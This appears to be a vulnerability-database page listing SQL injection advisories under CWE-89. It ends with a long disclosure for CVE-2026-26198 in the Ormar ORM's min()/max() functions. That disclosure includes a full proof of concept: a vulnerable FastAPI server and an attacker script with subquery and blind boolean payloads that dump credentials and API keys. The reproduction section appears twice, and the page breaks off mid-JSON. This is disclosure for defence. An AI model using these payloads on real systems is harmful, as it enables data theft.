CWE-89
AllowedImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
27398 vulnerabilities reference this CWE, most recent first.
GHSA-XXC3-JV86-6HXX
Vulnerability from github – Published: 2026-02-27 18:31 – Updated: 2026-02-27 18:31osCommerce 2.3.4.1 contains a SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries by injecting SQL code through the reviews_id parameter. Attackers can send GET requests to product_reviews_write.php with malicious reviews_id values using boolean-based SQL injection payloads to extract sensitive database information.
{
"affected": [],
"aliases": [
"CVE-2019-25495"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-27T18:16:05Z",
"severity": "HIGH"
},
"details": "osCommerce 2.3.4.1 contains a SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries by injecting SQL code through the reviews_id parameter. Attackers can send GET requests to product_reviews_write.php with malicious reviews_id values using boolean-based SQL injection payloads to extract sensitive database information.",
"id": "GHSA-xxc3-jv86-6hxx",
"modified": "2026-02-27T18:31:06Z",
"published": "2026-02-27T18:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25495"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46330"
},
{
"type": "WEB",
"url": "https://www.oscommerce.com"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/oscommerce-sql-injection-via-reviewsid-parameter"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XXCQ-P4X4-8F9X
Vulnerability from github – Published: 2022-05-02 06:19 – Updated: 2022-05-02 06:19SQL injection vulnerability in the _find function in searchlib.php in TikiWiki CMS/Groupware 3.x before 3.5 allows remote attackers to execute arbitrary SQL commands via the $searchDate variable.
{
"affected": [],
"aliases": [
"CVE-2010-1134"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-03-27T19:07:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in the _find function in searchlib.php in TikiWiki CMS/Groupware 3.x before 3.5 allows remote attackers to execute arbitrary SQL commands via the $searchDate variable.",
"id": "GHSA-xxcq-p4x4-8f9x",
"modified": "2022-05-02T06:19:16Z",
"published": "2022-05-02T06:19:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1134"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/56769"
},
{
"type": "WEB",
"url": "http://info.tikiwiki.org/article86-Tiki-Announces-3-5-and-4-2-Releases"
},
{
"type": "WEB",
"url": "http://osvdb.org/62800"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/38882"
},
{
"type": "WEB",
"url": "http://tikiwiki.svn.sourceforge.net/viewvc/tikiwiki?view=rev\u0026revision=25429"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/38608"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XXFP-PGX8-H38X
Vulnerability from github – Published: 2022-05-18 00:00 – Updated: 2022-05-27 00:01Vulnerability in Fidelis Network and Deception CommandPost enables SQL injection through the web interface by an attacker with user level access. The vulnerability is present in Fidelis Network and Deception versions prior to 9.4.5. Patches and updates are available to address this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2022-24391"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-17T20:15:00Z",
"severity": "HIGH"
},
"details": "Vulnerability in Fidelis Network and Deception CommandPost enables SQL injection through the web interface by an attacker with user level access. The vulnerability is present in Fidelis Network and Deception versions prior to 9.4.5. Patches and updates are available to address this vulnerability.",
"id": "GHSA-xxfp-pgx8-h38x",
"modified": "2022-05-27T00:01:30Z",
"published": "2022-05-18T00:00:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24391"
},
{
"type": "WEB",
"url": "https://fidelissecurity.zendesk.com/hc/en-us/articles/6211730139411"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XXG5-6C43-CQ68
Vulnerability from github – Published: 2022-06-03 00:01 – Updated: 2022-06-11 00:00Rescue Dispatch Management System v1.0 is vulnerable to SQL Injection via /rdms/classes/Master.php?f=delete_team.
{
"affected": [],
"aliases": [
"CVE-2022-31946"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-06-02T14:15:00Z",
"severity": "CRITICAL"
},
"details": "Rescue Dispatch Management System v1.0 is vulnerable to SQL Injection via /rdms/classes/Master.php?f=delete_team.",
"id": "GHSA-xxg5-6c43-cq68",
"modified": "2022-06-11T00:00:24Z",
"published": "2022-06-03T00:01:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31946"
},
{
"type": "WEB",
"url": "https://github.com/k0xx11/bug_report/blob/main/vendors/oretnom23/rescue-dispatch-management-system/SQL-2.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XXGP-39JQ-P3C6
Vulnerability from github – Published: 2022-05-02 03:30 – Updated: 2022-05-02 03:30SQL injection vulnerability in the ComSchool (com_school) component 1.4 for Joomla! allows remote attackers to execute arbitrary SQL commands via the classid parameter in a showclass action to index.php.
{
"affected": [],
"aliases": [
"CVE-2009-2014"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-06-09T19:30:00Z",
"severity": "HIGH"
},
"details": "SQL injection vulnerability in the ComSchool (com_school) component 1.4 for Joomla! allows remote attackers to execute arbitrary SQL commands via the classid parameter in a showclass action to index.php.",
"id": "GHSA-xxgp-39jq-p3c6",
"modified": "2022-05-02T03:30:50Z",
"published": "2022-05-02T03:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-2014"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/50988"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/8891"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/35257"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XXH2-68G9-8JQR
Vulnerability from github – Published: 2026-02-23 22:12 – Updated: 2026-02-24 16:08Report of SQL Injection Vulnerability in Ormar ORM
A SQL Injection attack can be achieved by passing a crafted string to the min() or max() aggregate functions.
Brief description
When performing aggregate queries, Ormar ORM constructs SQL expressions by passing user-supplied column names directly into sqlalchemy.text() without any validation or sanitization. The min() and max() methods in the QuerySet class accept arbitrary string input as the column parameter. While sum() and avg() are partially protected by an is_numeric type check that rejects non-existent fields, min() and max() skip this validation entirely. As a result, an attacker-controlled string is embedded as raw SQL inside the aggregate function call. Any unauthorized user can exploit this vulnerability to read the entire database contents, including tables unrelated to the queried model, by injecting a subquery as the column parameter.
Affected versions
0.9.9 - 0.12.2
0.20.0b1 - 0.22.0 (latest)
The vulnerable SelectAction.get_text_clause() method and the min()/max() aggregate functions were introduced together in commit ff9d412 (March 12, 2021) and first released in version 0.9.9. The vulnerable code has never been modified since — get_text_clause() is identical in every subsequent version through the latest 0.21.0.
Versions prior to 0.9.9 do not contain the min()/max() aggregate feature and are not affected.
The following uses the latest ormar 0.21.0 as an example to illustrate the attack.
Vulnerability details
When performing an aggregate query, the QuerySet.max() method (line 721, queryset.py) passes user input to _query_aggr_function(). This method creates a SelectAction object for each column name. The column string is split by __ and the last part becomes self.field_name — with no validation against the model's actual fields.
The critical vulnerability is in SelectAction.get_text_clause() (line 41-43, select_action.py), which directly passes self.field_name into sqlalchemy.text():
#select_action.py line 41-43
def get_text_clause(self) -> sqlalchemy.sql.expression.TextClause:
alias = f"{self.table_prefix}_" if self.table_prefix else ""
return sqlalchemy.text(f"{alias}{self.field_name}") # unsanitised user input!
The apply_func() method then wraps this raw text clause inside func.max(), producing SQL like max(<attacker_input>). Since sqlalchemy.text() treats its argument as literal SQL, any subquery or SQL expression injected through the column name will be executed by the database engine.
The _query_aggr_function() method (line 704-719, queryset.py) only validates field types for sum and avg, leaving min and max completely unprotected:
#queryset.py line 704-719
async def _query_aggr_function(self, func_name: str, columns: List) -> Any:
func = getattr(sqlalchemy.func, func_name)
select_actions = [
SelectAction(select_str=column, model_cls=self.model) for column in columns
]
if func_name in ["sum", "avg"]: # <-- only sum/avg are checked!
if any(not x.is_numeric for x in select_actions):
raise QueryDefinitionError(...)
select_columns = [x.apply_func(func, use_label=True) for x in select_actions]
expr = self.build_select_expression().alias(f"subquery_for_{func_name}")
expr = sqlalchemy.select(*select_columns).select_from(expr)
result = await self.database.fetch_one(expr)
return dict(result) if len(result) > 1 else result[0]
To reproduce the attack, you can follow the steps below, using a FastAPI application with SQLite as an example.
Note: The PoC consists of two files provided in the attachments — poc_server.py (the vulnerable server) and poc_attacker.py (the HTTP-based attacker script).
Start the vulnerable application
- Install dependencies:
pip install ormar databases aiosqlite fastapi uvicorn httpx
- The vulnerable server (
poc_server.py) is based on the official ormar FastAPI example (ormar/examples/fastapi_quick_start.py). The only modification is the addition of a/items/statsendpoint — a common pattern for applications that provide aggregate statistics. This demonstrates that the vulnerability is easily triggered by natural API design.
The server defines three models:
CategoryandItem— from the official ormar example (unchanged)AdminUser— simulates internal data (e.g., an admin_users table) that should NOT be accessible through the public API
The vulnerable endpoint:
# Added endpoint: aggregate statistics (VULNERABLE)
# This is a common and natural pattern — letting users request
# statistics on different columns. The ormar documentation itself
# shows: await Book.objects.max(columns=["year"])
# See: <https://collerek.github.io/ormar/queries/aggregations/>
@app.get("/items/stats")
async def item_stats(
metric: str = Query("max", description="max or min"),
column: str = Query("price", description="Column to aggregate"),
):
"""Return aggregate statistics for items."""
if metric == "max":
result = await Item.objects.max(column)
elif metric == "min":
result = await Item.objects.min(column)
else:
return {"error": "Unsupported metric"}
return {"metric": metric, "column": column, "result": result}
The database contains:
| Table | Data |
|---|---|
| categories | Electronics |
| items | Laptop ($999.99), Phone ($699.99), Tablet ($449.99), Monitor ($329.99) |
| admin_users | root / Sup3r$ecretP@ss! / ak-9f8e7d6c5b4a3210-prod |
| deploy-bot / ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi / ak-1a2b3c4d5e6f7890-ci |
The admin_users table is NOT exposed via any API endpoint.
The attack steps
The PoC requires two terminals:
Terminal 1 — Start the vulnerable server:
python poc_server.py
Terminal 2 — Run the attacker script:
python poc_attacker.py
The attacker script (poc_attacker.py) sends HTTP requests to the running server. It has NO prior knowledge of the database schema — all information is discovered through the injection. The attacker executes 6 progressive attack stages through the single /items/stats endpoint.
Principle of vulnerability exploitation
1. The attacker confirms injection by sending an arithmetic expression
The attacker sends GET /items/stats?metric=max&column=1+1. The data flow is:
HTTP request: GET /items/stats?metric=max&column=1+1
↓
item_stats(metric="max", column="1+1") # poc_server.py
↓
Item.objects.max("1+1") # queryset.py:721
↓
_query_aggr_function(func_name="max", columns=["1+1"]) # queryset.py:704
↓
SelectAction(select_str="1+1", model_cls=Item) # select_action.py:22
↓
_split_value_into_parts("1+1") → self.field_name = "1+1"
↓
# min/max skip the is_numeric check (line 709 only checks sum/avg)
↓
get_text_clause() → sqlalchemy.text("1+1") # select_action.py:43
↓
apply_func(sqlalchemy.func.max) → max(1+1)
Generated SQL:
SELECT max(1+1) AS "1+1"
FROM (SELECT items.id AS id, items.name AS name, items.price AS price,
items.category AS category
FROM items) AS subquery_for_max
The API returns {"metric":"max","column":"1+1","result":2}, confirming that the arithmetic expression was evaluated as SQL.
2. The attacker enumerates database tables
The attacker injects a subquery to read sqlite_master:
GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')
Which internally calls:
await Item.objects.max(
"(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')"
)
Generated SQL:
SELECT max((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'))
AS "(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')"
FROM (SELECT items.id, items.name, items.price, items.category
FROM items) AS subquery_for_max
The API returns categories,admin_users,items, revealing the hidden admin_users table.
3. The attacker extracts the schema of the target table
GET /items/stats?metric=max&column=(SELECT sql FROM sqlite_master WHERE name='admin_users')
The API returns the full CREATE TABLE statement, revealing column names: username, password, api_key.
4. The attacker dumps all credentials in a single query
GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10)) FROM admin_users)
Generated SQL:
SELECT max((SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10))
FROM admin_users))
AS "..."
FROM (SELECT items.id, items.name, items.price, items.category
FROM items) AS subquery_for_max
The API returns all credentials:
root | Sup3r$ecretP@ss! | ak-9f8e7d6c5b4a3210-prod
deploy-bot | ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi | ak-1a2b3c4d5e6f7890-ci
5. Blind boolean-based extraction (when results are not directly visible)
Even if the API does not return query results directly, the attacker can use boolean-based blind injection to extract data character by character using binary search:
GET /items/stats?metric=max&column=CASE WHEN UNICODE(SUBSTR((SELECT password FROM admin_users WHERE username='root'),1,1))>83 THEN 1 ELSE 0 END
Which internally calls:
# "Is the Nth character of root's password greater than ASCII code M?"
await Item.objects.max(
"CASE WHEN UNICODE(SUBSTR("
"(SELECT password FROM admin_users WHERE username='root'),1,1))>83 "
"THEN 1 ELSE 0 END"
)
# Returns 0 → first character is 'S' (ASCII 83)
By iterating over each position with binary search, the full password Sup3r$ecretP@ss! is extracted in approximately 113 HTTP requests (16 characters x ~7 binary search steps).
6. The attacker extracts the production API key
GET /items/stats?metric=max&column=(SELECT api_key FROM admin_users WHERE username='root')
The API returns: ak-9f8e7d6c5b4a3210-prod
All data was extracted through a single public API endpoint using only unauthenticated GET requests.
Start the vulnerable application
- Install dependencies:
pip install ormar databases aiosqlite fastapi uvicorn httpx
- The vulnerable server (
poc_server.py) is based on the official ormar FastAPI example ([ormar/examples/fastapi_quick_start.py](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)). The only modification is the addition of a/items/statsendpoint — a common pattern for applications that provide aggregate statistics. This demonstrates that the vulnerability is easily triggered by natural API design.
The server defines three models:
CategoryandItem— from the official ormar example (unchanged)AdminUser— simulates internal data (e.g., an admin_users table) that should NOT be accessible through the public API
The vulnerable endpoint:
# Added endpoint: aggregate statistics (VULNERABLE)
# This is a common and natural pattern — letting users request
# statistics on different columns. The ormar documentation itself
# shows: await Book.objects.max(columns=["year"])
# See: <https://collerek.github.io/ormar/queries/aggregations/>
@app.get("/items/stats")
async def item_stats(
metric: str = Query("max", description="max or min"),
column: str = Query("price", description="Column to aggregate"),
):
"""Return aggregate statistics for items."""
if metric == "max":
result = await Item.objects.max(column)
elif metric == "min":
result = await Item.objects.min(column)
else:
return {"error": "Unsupported metric"}
return {"metric": metric, "column": column, "result": result}
The database contains:
| Table | Data |
|---|---|
categories |
Electronics |
items |
Laptop ($999.99), Phone ($699.99), Tablet ($449.99), Monitor ($329.99) |
admin_users |
root / Sup3r$ecretP@ss! / ak-9f8e7d6c5b4a3210-prod |
| deploy-bot / ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi / ak-1a2b3c4d5e6f7890-ci |
The admin_users table is NOT exposed via any API endpoint.
The attack steps
The PoC requires two terminals:
Terminal 1 — Start the vulnerable server:
python poc_server.py
Terminal 2 — Run the attacker script:
python poc_attacker.py
The attacker script (poc_attacker.py) sends HTTP requests to the running server. It has NO prior knowledge of the database schema — all information is discovered through the injection. The attacker executes 6 progressive attack stages through the single /items/stats endpoint.
Principle of vulnerability exploitation
1. The attacker confirms injection by sending an arithmetic expression
The attacker sends GET /items/stats?metric=max&column=1+1. The data flow is:
HTTP request: GET /items/stats?metric=max&column=1+1
↓
item_stats(metric="max", column="1+1") # poc_server.py
↓
Item.objects.max("1+1") # queryset.py:721
↓
_query_aggr_function(func_name="max", columns=["1+1"]) # queryset.py:704
↓
SelectAction(select_str="1+1", model_cls=Item) # select_action.py:22
↓
_split_value_into_parts("1+1") → self.field_name = "1+1"
↓
# min/max skip the is_numeric check (line 709 only checks sum/avg)
↓
get_text_clause() → sqlalchemy.text("1+1") # select_action.py:43
↓
apply_func(sqlalchemy.func.max) → max(1+1)
Generated SQL:
SELECT max(1+1) AS "1+1"
FROM (SELECT items.id AS id, items.name AS name, items.price AS price,
items.category AS category
FROM items) AS subquery_for_max
The API returns {"metric":"max","column":"1+1","result":2}, confirming that the arithmetic expression was evaluated as SQL.
2. The attacker enumerates database tables
The attacker injects a subquery to read sqlite_master:
GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')
Which internally calls:
await Item.objects.max(
"(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')"
)
Generated SQL:
SELECT max((SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table'))
AS "(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')"
FROM (SELECT items.id, items.name, items.price, items.category
FROM items) AS subquery_for_max
The API returns categories,admin_users,items, revealing the hidden admin_users table.
3. The attacker extracts the schema of the target table
GET /items/stats?metric=max&column=(SELECT sql FROM sqlite_master WHERE name='admin_users')
The API returns the full CREATE TABLE statement, revealing column names: username, password, api_key.
4. The attacker dumps all credentials in a single query
GET /items/stats?metric=max&column=(SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10)) FROM admin_users)
Generated SQL:
SELECT max((SELECT GROUP_CONCAT(username || ' | ' || password || ' | ' || api_key, CHAR(10))
FROM admin_users))
AS "..."
FROM (SELECT items.id, items.name, items.price, items.category
FROM items) AS subquery_for_max
The API returns all credentials:
root | Sup3r$ecretP@ss! | ak-9f8e7d6c5b4a3210-prod
deploy-bot | ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi | ak-1a2b3c4d5e6f7890-ci
5. Blind boolean-based extraction (when results are not directly visible)
Even if the API does not return query results directly, the attacker can use boolean-based blind injection to extract data character by character using binary search:
GET /items/stats?metric=max&column=CASE WHEN UNICODE(SUBSTR((SELECT password FROM admin_users WHERE username='root'),1,1))>83 THEN 1 ELSE 0 END
Which internally calls:
# "Is the Nth character of root's password greater than ASCII code M?"
await Item.objects.max(
"CASE WHEN UNICODE(SUBSTR("
"(SELECT password FROM admin_users WHERE username='root'),1,1))>83 "
"THEN 1 ELSE 0 END"
)
# Returns 0 → first character is 'S' (ASCII 83)
By iterating over each position with binary search, the full password Sup3r$ecretP@ss! is extracted in approximately 113 HTTP requests (16 characters x ~7 binary search steps).
6. The attacker extracts the production API key
GET /items/stats?metric=max&column=(SELECT api_key FROM admin_users WHERE username='root')
The API returns: ak-9f8e7d6c5b4a3210-prod
All data was extracted through a single public API endpoint using only unauthenticated GET requests.
The complete POC
poc_server.py (Vulnerable Server)
Based on the official ormar FastAPI example ([fastapi_quick_start.py](https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py)):
"""
CVE PoC — Vulnerable Server
=============================
Based on the OFFICIAL ormar FastAPI example:
<https://github.com/collerek/ormar/blob/master/examples/fastapi_quick_start.py>
The only modification is the addition of a /items/stats endpoint (line 63-76),
which is a common pattern for any application that provides aggregate statistics.
Usage:
python poc_server.py
"""
# ── Original official example code (unchanged) ───────────────
# Source: ormar/examples/fastapi_quick_start.py
from contextlib import asynccontextmanager
from typing import List, Optional
import databases
import ormar
import sqlalchemy
import uvicorn
from fastapi import FastAPI, Query
DATABASE_URL = "sqlite:///poc_vuln.db"
ormar_base_config = ormar.OrmarConfig(
database=databases.Database(DATABASE_URL), metadata=sqlalchemy.MetaData()
)
class Category(ormar.Model):
ormar_config = ormar_base_config.copy(tablename="categories")
id: int = ormar.Integer(primary_key=True)
name: str = ormar.String(max_length=100)
class Item(ormar.Model):
ormar_config = ormar_base_config.copy(tablename="items")
id: int = ormar.Integer(primary_key=True)
name: str = ormar.String(max_length=100)
price: float = ormar.Float(default=0)
category: Optional[Category] = ormar.ForeignKey(Category, nullable=True)
# This table simulates internal data that should NOT be accessible
# through the public API — e.g. an admin_users table in the same database.
class AdminUser(ormar.Model):
ormar_config = ormar_base_config.copy(tablename="admin_users")
id: int = ormar.Integer(primary_key=True)
username: str = ormar.String(max_length=100)
password: str = ormar.String(max_length=200)
api_key: str = ormar.String(max_length=200)
@asynccontextmanager
async def lifespan(app: FastAPI):
database_ = ormar_base_config.database
if not database_.is_connected:
await database_.connect()
# Create tables
engine = sqlalchemy.create_engine(DATABASE_URL)
ormar_base_config.metadata.create_all(engine)
engine.dispose()
# Seed sample data
if not await Item.objects.count():
cat = await Category.objects.create(name="Electronics")
await Item.objects.create(name="Laptop", price=999.99, category=cat)
await Item.objects.create(name="Phone", price=699.99, category=cat)
await Item.objects.create(name="Tablet", price=449.99, category=cat)
await Item.objects.create(name="Monitor", price=329.99, category=cat)
if not await AdminUser.objects.count():
await AdminUser.objects.create(
username="root",
password="Sup3r$ecretP@ss!",
api_key="ak-9f8e7d6c5b4a3210-prod",
)
await AdminUser.objects.create(
username="deploy-bot",
password="ghp_Tx7KmR29vLp4QzN1bWcA3sYjDf80Ue5Xoi",
api_key="ak-1a2b3c4d5e6f7890-ci",
)
print("\\n [Server] Ready. Database seeded with items + admin_users.")
print(" [Server] The admin_users table is NOT exposed via any API endpoint.\\n")
yield
if database_.is_connected:
await database_.disconnect()
app = FastAPI(
title="Item Catalog API",
description="Based on official ormar FastAPI example",
lifespan=lifespan,
)
# ── Original endpoints from official example (unchanged) ──────
@app.get("/items/", response_model=List[Item])
async def get_items():
items = await Item.objects.select_related("category").all()
return items
@app.post("/items/", response_model=Item)
async def create_item(item: Item):
await item.save()
return item
@app.post("/categories/", response_model=Category)
async def create_category(category: Category):
await category.save()
return category
@app.put("/items/{item_id}")
async def get_item(item_id: int, item: Item):
item_db = await Item.objects.get(pk=item_id)
return await item_db.update(**item.model_dump())
@app.delete("/items/{item_id}")
async def delete_item(item_id: int, item: Item = None):
if item:
return {"deleted_rows": await item.delete()}
item_db = await Item.objects.get(pk=item_id)
return {"deleted_rows": await item_db.delete()}
# ── Added endpoint: aggregate statistics (VULNERABLE) ─────────
# This is a common and natural pattern — letting users request
# statistics on different columns. The ormar documentation itself
# shows: await Book.objects.max(columns=["year"])
# See: <https://collerek.github.io/ormar/queries/aggregations/>
@app.get("/items/stats")
async def item_stats(
metric: str = Query("max", description="max or min"),
column: str = Query("price", description="Column to aggregate"),
):
"""Return aggregate statistics for items."""
if metric == "max":
result = await Item.objects.max(column)
elif metric == "min":
result = await Item.objects.min(column)
else:
return {"error": "Unsupported metric"}
return {"metric": metric, "column": column, "result": result}
@app.get("/health")
async def health():
return {"status": "ok"}
# ── Main ──────────────────────────────────────────────────────
if __name__ == "__main__":
import os
# Clean previous database for reproducibility
if os.path.exists("poc_vuln.db"):
os.unlink("poc_vuln.db")
print("=" * 60)
print(" CVE PoC — Vulnerable Server")
print(" Based on: ormar/examples/fastapi_quick_start.py")
print(" Added: GET /items/stats?metric=max&column=<input>")
print(" Docs: <http://127.0.0.1:8000/docs>")
print("=" * 60)
uvicorn.run(app, host="127.0.0.1", port=8000, log_level="warning")
poc_attacker.py (Attacker Script)
"""
CVE PoC — Attacker Script
===========================
Exploits the SQL injection in /items/stats endpoint.
Sends HTTP requests to the running FastAPI server.
Prerequisites:
1. Start the server first: python poc_server.py
2. Then run this script: python poc_attacker.py
The attacker has NO prior knowledge of the database schema.
All information is discovered through the injection.
"""
import sys
import httpx
TARGET = "<http://127.0.0.1:8000>"
ENDPOINT = "/items/stats"
def inject(payload: str) -> str:
"""Send a single injection payload via the public API."""
resp = httpx.get(TARGET + ENDPOINT, params={"metric": "max", "column": payload})
data = resp.json()
return data.get("result")
def main():
# ── Pre-check ─────────────────────────────────────────────
try:
r = httpx.get(TARGET + "/health", timeout=3)
if r.status_code != 200:
sys.exit(1)
except httpx.ConnectError:
print(f"Cannot connect to {TARGET}")
print(f"Start the server first: python poc_server.py")
sys.exit(1)
# ── Stage 0: Legitimate request ──────────────────────────
result = inject("price")
print(f"[Stage 0] Normal usage: max(price) = {result}")
# ── Stage 1: Confirm injection ────────────────────────────
result = inject("1+1")
print(f"[Stage 1] max('1+1') = {result}")
if result == 2:
print(" → SQL INJECTION CONFIRMED")
# ── Stage 2: Enumerate tables ─────────────────────────────
payload = "(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table')"
result = inject(payload)
tables = str(result).split(",") if result else []
print(f"[Stage 2] Tables: {result}")
# ── Stage 3: Extract schema ───────────────────────────────
target_table = [t for t in tables if "admin" in t.lower()]
target_table = target_table[0] if target_table else tables[-1]
payload = f"(SELECT sql FROM sqlite_master WHERE name='{target_table}')"
result = inject(payload)
print(f"[Stage 3] Schema of {target_table}: {result}")
# ── Stage 4: Dump all credentials ─────────────────────────
payload = (
f"(SELECT GROUP_CONCAT("
f"username || ' | ' || password || ' | ' || api_key, CHAR(10))"
f" FROM {target_table})"
)
result = inject(payload)
print(f"[Stage 4] Credentials:\\n{result}")
# ── Stage 5: Blind extraction ─────────────────────────────
payload = f"LENGTH((SELECT password FROM {target_table} WHERE username='root'))"
pw_len = int(inject(payload))
extracted = ""
request_count = 0
for pos in range(1, pw_len + 1):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
payload = (
f"CASE WHEN UNICODE(SUBSTR("
f"(SELECT password FROM {target_table} "
f"WHERE username='root'),{pos},1))>{mid} "
f"THEN 1 ELSE 0 END"
)
result = inject(payload)
request_count += 1
if result == 1:
low = mid + 1
else:
high = mid - 1
extracted += chr(low)
sys.stdout.write(f"\\r[Stage 5] Extracting: {extracted}")
sys.stdout.flush()
print(f"\\n[Stage 5] Password extracted: {extracted} ({request_count} requests)")
# ── Stage 6: Steal API key ────────────────────────────────
payload = f"(SELECT api_key FROM {target_table} WHERE username='root')"
result = inject(payload)
print(f"[Stage 6] Production API key: {result}")
print(f"\\nTotal HTTP requests: {request_count + 6}")
print("All data extracted through a single public API endpoint.")
if __name__ == "__main__":
main()
Vulnerability Impact
This attack allows an unauthenticated user to read the entire database contents. Any API endpoint that passes user-controlled input to Model.objects.min() or Model.objects.max() becomes a full SQL injection entry point.
The attack is confirmed to work with the following database backends:
- SQLite (via aiosqlite)
- PostgreSQL (via asyncpg) — subquery syntax is identical
- MySQL (via aiomysql) — subquery syntax is compatible
Realistic attack scenarios include:
- REST APIs with user-selectable aggregate fields:
GET /items/stats?column=<input> - GraphQL resolvers that accept field names as arguments
- Dynamic report generators where users select columns for aggregation
The vulnerable server in this PoC is based on the official ormar FastAPI example, demonstrating that the vulnerability is easily triggered through natural, documented API design patterns. The ormar documentation itself shows this exact usage pattern: await Book.objects.max(columns=["year"]) ([ormar aggregations docs](https://collerek.github.io/ormar/queries/aggregations/)).
Display of attack results
Terminal 1 — Start server:
Terminal 2 — Run attacker:
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.0"
},
"package": {
"ecosystem": "PyPI",
"name": "ormar"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.9"
},
{
"fixed": "0.23.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26198"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-23T22:12:17Z",
"nvd_published_at": "2026-02-24T03:16:01Z",
"severity": "CRITICAL"
},
"details": "# Report of SQL Injection Vulnerability in Ormar ORM\n\n## A SQL Injection attack can be achieved by passing a crafted string to the min() or max() aggregate functions.\n\n## Brief description\n\nWhen performing aggregate queries, Ormar ORM constructs SQL expressions by passing user-supplied column names directly into `sqlalchemy.text()` without any validation or sanitization. The `min()` and `max()` methods in the `QuerySet` class accept arbitrary string input as the column parameter. While `sum()` and `avg()` are partially protected by an `is_numeric` type check that rejects non-existent fields, `min()` and `max()` skip this validation entirely. As a result, an attacker-controlled string is embedded as raw SQL inside the aggregate function call. Any unauthorized user can exploit this vulnerability to read the entire database contents, including tables unrelated to the queried model, by injecting a subquery as the column parameter.\n\n## Affected versions\n\n```\n0.9.9 - 0.12.2\n0.20.0b1 - 0.22.0 (latest)\n```\n\nThe vulnerable `SelectAction.get_text_clause()` method and the `min()`/`max()` aggregate functions were introduced together in commit `ff9d412` (March 12, 2021) and first released in version **0.9.9**. The vulnerable code has never been modified since \u2014 `get_text_clause()` is identical in every 